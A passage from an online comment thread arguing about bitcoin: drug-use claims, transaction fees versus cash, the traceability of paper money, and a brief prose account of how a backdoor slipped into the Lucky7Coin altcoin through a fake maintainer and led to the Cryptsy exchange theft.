
    This bitcoin drug argument is so old and misinformed.

    If you took 10 minutes to actually explore what bitcoin was instead of making judgements based off of pour second hand information maybe you would understand the novelty bitcoin introduces.

    Maybe Bitcon fails as a currency. It does not matter really. Distributed consensus is not going away and that is what bitcoin gives us.

  20. The Developer of Lucky7Coin... by Fnord666 · · Score: 4, Informative

    It was not the developer of Lucky7Coin that introduced this backdoor, or at least not the original developer. The heart of this attack was a social engineering. Lucky7Coin support had been abandoned. Someone else came along, claiming that they were taking over support for this particular altcoin. They even created a new github repo for it. As part of the initial commit though they introduced a backdoor. Cryptsy picked up the new version of the code and the rest is history.

    --
    'The tyrant will always find pretext for his tyranny.' - Aesop's Fables
    1. Re:The Developer of Lucky7Coin... by Anonymous Coward · · Score: 0

      Read the news story, not the summary. It includes more data, including the mention that it was not LK7's creator that introduced the backdoor.

    2. Re:The Developer of Lucky7Coin... by Anonymous Coward · · Score: 0

      I feel like each wallet should be isolated from everything else.

      A backdoor in one altcoin shouldn't end in an exchange getting robbed of hundreds of thousands in other currencies.

  21. Re: Who cares? by Time_Ngler · · Score: 1
    Take the percentage of bitcoin drug transactions as compared with all bitcoin transactions and view that against the same with cash, and you'll see an entirely different picture.

    Bitcoin is primarily for illegal activity right now.

  22. Re:Currency, who cares. Its a useful transfer syst by smooth+wombat · · Score: 1

    fast, low fee, guaranteed.

    Because what I want is to have to pay someone else to use my "money".

    Oddly, when I hand over a $10 bill, a real piece of money, it doesn't cost me a cent to make my transaction and it's untraceable as to who used it.

    --
    We will bankrupt ourselves in the vain search for absolute security. -- Dwight D. Eisenhower
  23. Re:Currency, who cares. Its a useful transfer syst by Anonymous Coward · · Score: 0

    Ok, but you are paying for the debt card and credit card transactions. All stores take them and they are charged a processing fee, as such they raise the prices of there items. If you are using cash you are paying for everyone else to use there debit card.

    You just don't see the cost when you check out.

  24. Re: Floriculture. by DanielRavenNest · · Score: 1

    Floriculture, the raising of flowers for sale, is a $100 billion a year business. That includes tulips. Just because tulips were overpriced once upon a time, or dotcom stocks or real estate more recently, does not mean they have no value.

  25. Re:Currency, who cares. Its a useful transfer syst by DanielRavenNest · · Score: 1

    > Oddly, when I hand over a $10 bill, a real piece of money, it doesn't cost me a cent to make my transaction and it's untraceable as to who used it.

    Actually, you pay for that piece of paper over time, because the Treasury Department has to keep printing new ones to replace the ones that wear out, and printing and distributing cash costs money. It's buried in your federal taxes. Also, paper money isn't untraceable. Large bills go through readers that record the serial numbers, and can link that to who deposited or withdrew it. So if you got your $10 at a cash machine, and the person who you gave it to put it back in another bank, they can figure out who made a transaction with who. Generally they don't bother to track $10 transactions, but pull out or deposit thousands in cash, and you can bet they track it.

    Bitcoin was designed as electronic cash, it says so on the original white paper. It was designed to overcome the locality limitations of paper money. Try sending $10 in cash from the US to Indonesia in under an hour. With the Bitcoin Network you can do that. With Western Union, not so much.

  26. Re: Who cares? by DanielRavenNest · · Score: 1

    That exact calculation was done by the Silk Road prosecutors, so we know that 4% of bitcoin transactions were for drugs during the time that marketplace was operating. Whereas for the world economy in general, illegal drugs account for 3% of GDP. It's not an entirely different picture, it's the same picture.

  27. Re:Currency, who cares. Its a useful transfer syst by Anonymous Coward · · Score: 0

    A $10 bill hasn't been money since it was unlinked from the gold standard, it's still currency.

    More etc... https://www.youtube.com/watch?v=iFDe5kUUyT0